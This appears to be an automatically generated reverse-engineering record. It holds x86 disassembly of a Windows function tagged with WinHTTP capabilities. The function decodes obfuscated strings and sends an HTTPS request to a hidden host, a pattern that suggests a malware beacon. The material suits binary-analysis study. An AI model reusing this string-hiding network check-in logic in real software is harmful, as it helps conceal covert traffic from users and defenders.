Function at 0x407260
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x448ced
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6c
push ebx
push esi
push edi
mov dword [ebp - 4], 2
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x407811
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x18], eax
push str.enpIrcS0TAJjkuoLhhR5S1R4
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 3
call fcn.004038c0
test al, al
jne 0x4072c3
push 0x18
push str.enpIrcS0TAJjkuoLhhR5S1R4
lea ecx, [ebp - 0x18]
call fcn.00403de0
push 0
push 0
push 0
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x18]
push 0
push ecx
add eax, 0xfffffff0
mov esi, esp
mov dword [ebp - 0x30], esi
mov ecx, eax
mov dword [ebp - 0x30], eax
call fcn.0040afe0
add eax, 0x10
lea ecx, [ebp - 0x24]
mov dword [esi], eax
call fcn.004023d0
add esp, 4
push dword [eax]
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov edx, dword [ebp - 0x24]
or ebx, 0xffffffff
mov edi, eax
add edx, 0xfffffff0
mov ecx, ebx
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x40731c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x407788
push 0
push 0x1bb
push ecx
mov esi, esp
mov dword [ebp - 0x2c], esi
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x40781b
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
push str.OGdj0bEgEMAhxIuSRAYVVxUG
mov ecx, esi
mov byte [ebp - 4], 5
call fcn.004038c0
test al, al
jne 0x40736c
push 0x18
push str.OGdj0bEgEMAhxIuSRAYVVxUG
mov ecx, esi
call fcn.00403de0
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 4
call fcn.004023d0
add esp, 4
push dword [eax]
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov edx, dword [ebp - 0x28]
mov esi, eax
mov dword [ebp - 0x20], esi
add edx, 0xfffffff0
mov ecx, ebx
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x4073a3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test esi, esi
je 0x407788
call fcn.0041013e
push 0
push 0x2710
push edx
push eax
call fcn.00448230
mov dword [ebp - 0x1c], eax
mov esi, edx
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x407825
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x24], eax
push ecx
mov byte [ebp - 4], 6
mov edi, esp
mov dword [ebp - 0x2c], edi
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x40782f
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [edi], eax
push str.TXY4ZVmIGqUS4oZGhYxUJBAHDMTgfgXGs
mov ecx, edi
mov byte [ebp - 4], 7
call fcn.004038c0
test al, al
jne 0x407422
push 0x22
push str.TXY4ZVmIGqUS4oZGhYxUJBAHDMTgfgXGs
mov ecx, edi
call fcn.00403de0
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 6
call fcn.004023d0
mov byte [ebp - 4], 8
mov edi, esp
mov dword [ebp - 0x34], edi
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x407839
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [edi], eax
push str.Nm927eRMYFBV9AwCgQKuXwAYBRBMYOBV9TEGQImZRR0VuRFAOpKVxBzHFAcfQBsp8GFUbKHxZY2Ug
mov ecx, edi
mov byte [ebp - 4], 9
call fcn.004038c0
test al, al
jne 0x407472
push 0x4f
push str.Nm927eRMYFBV9AwCgQKuXwAYBRBMYOBV9TEGQImZRR0VuRFAOpKVxBzHFAcfQBsp8GFUbKHxZY2Ug
mov ecx, edi
call fcn.00403de0
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 8
call fcn.004023d0
add esp, 4
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x14]
mov eax, dword [eax]
push dword [eax - 0xc]
push eax
call fcn.0040ae70
mov byte [ebp - 4], 8
mov eax, ebx
mov edx, dword [ebp - 0x2c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4074b1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push ecx
mov edi, esp
mov dword [ebp - 0x34], edi
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x407843
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [edi], eax
push str.dU9wxclA4WA1RQ5OANUQECEXbLQEmmHRdIYagcBxUyEfNERQsMGBdImahwe3AA
mov ecx, edi
mov byte [ebp - 4], 0xb
call fcn.004038c0
test al, al
jne 0x4074f2
push 0x40
push str.dU9wxclA4WA1RQ5OANUQECEXbLQEmmHRdIYagcBxUyEfNERQsMGBdImahwe3AA
mov ecx, edi
call fcn.00403de0
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 8
call fcn.004023d0
add esp, 4
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x14]
mov eax, dword [eax]
push dword [eax - 0xc]
push eax
call fcn.0040ae70
mov byte [ebp - 4], 8
mov eax, ebx
mov edx, dword [ebp - 0x2c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407531
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x1c]
test esi, esi
jg 0x40755c
jl 0x40753e
test eax, eax
jae 0x40755c
neg eax
lea ecx, [ebp - 0x4e]
adc esi, 0
neg esi
push esi
push eax
call fcn.0040b760
lea ecx, [eax - 2]
mov eax, 0x2d
mov word [ecx], ax
jmp 0x407568
push esi
push eax
lea ecx, [ebp - 0x4e]
call fcn.0040b760
mov ecx, eax
xor eax, eax
add esp, 8
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x4e]
cmp ecx, eax
jne 0x40759d
mov eax, 7
mov dword [ebp - 0x3c], 0
xor ecx, ecx
mov dword [ebp - 0x38], eax
mov word [ebp - 0x4c], cx
jmp 0x4075b1
lea eax, [ebp - 0x4e]
sub eax, ecx
sar eax, 1
push eax
push ecx
lea ecx, [ebp - 0x4c]
call fcn.00403ff0
mov eax, dword [ebp - 0x38]
mov byte [ebp - 4], 0xd
lea edi, [ebp - 0x4c]
cmp eax, 8
jb 0x4075c0
mov edi, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push edx
push eax
push edi
push dword [ebp + 0x10]
lea eax, [ebp - 0x24]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [0x45dba0]
push 0x45d9a0
push esi
push eax
call fcn.0040b360
mov byte [ebp - 4], 8
add esp, 0x28
mov ecx, dword [ebp - 0x38]
cmp ecx, 8
jb 0x40762b
mov edx, dword [ebp - 0x4c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x407621
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40784d
push ecx
push edx
call fcn.00423d09
add esp, 8
mov esi, dword [ebp - 0x24]
push 0x800000
push 0
push 0
push 0
push esi
push ecx
mov edi, esp
mov dword [ebp - 0x34], edi
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x407852
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [edi], eax
push str.UlA3AUBUVeYw
mov ecx, edi
mov byte [ebp - 4], 0xe
call fcn.004038c0
test al, al
jne 0x40767b
push 0xe
push str.UlA3AUBUVeYw
mov ecx, edi
call fcn.00403de0
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 8
call fcn.004023d0
add esp, 4
push dword [eax]
push dword [ebp - 0x20]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edx, dword [ebp - 0x2c]
mov edi, eax
add edx, 0xfffffff0
mov ecx, ebx
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x4076b1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x40771d
push 0x2710
push 0x2710
push 0x2710
push 0x2710
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSetTimeouts]
test eax, eax
jne 0x40771d
push edi
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call edi
push dword [ebp - 0x20]
call edi
mov byte [ebp - 4], 6
mov eax, ebx
mov edx, dword [ebp - 0x14]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407700
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 4
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x407788
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x407788
mov byte [ebp - 4], 6
mov eax, ebx
mov edx, dword [ebp - 0x14]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40773b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 4
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x407756
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test edi, edi
je 0x407783
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x407780
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
push edi
call esi
push dword [ebp - 0x20]
call esi
mov edx, dword [ebp - 0x30]
mov eax, ebx
mov byte [ebp - 4], 2
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4077a3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 1
mov eax, ebx
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4077c1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov eax, ebx
mov edx, dword [ebp + 0xc]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4077df
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 0x10]
lea edx, [eax - 0x10]
lock xadd dword [edx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x4077fe
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
xor al, al
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
call fcn.004288c3
push 0x80004005
call fcn.004013f0
int3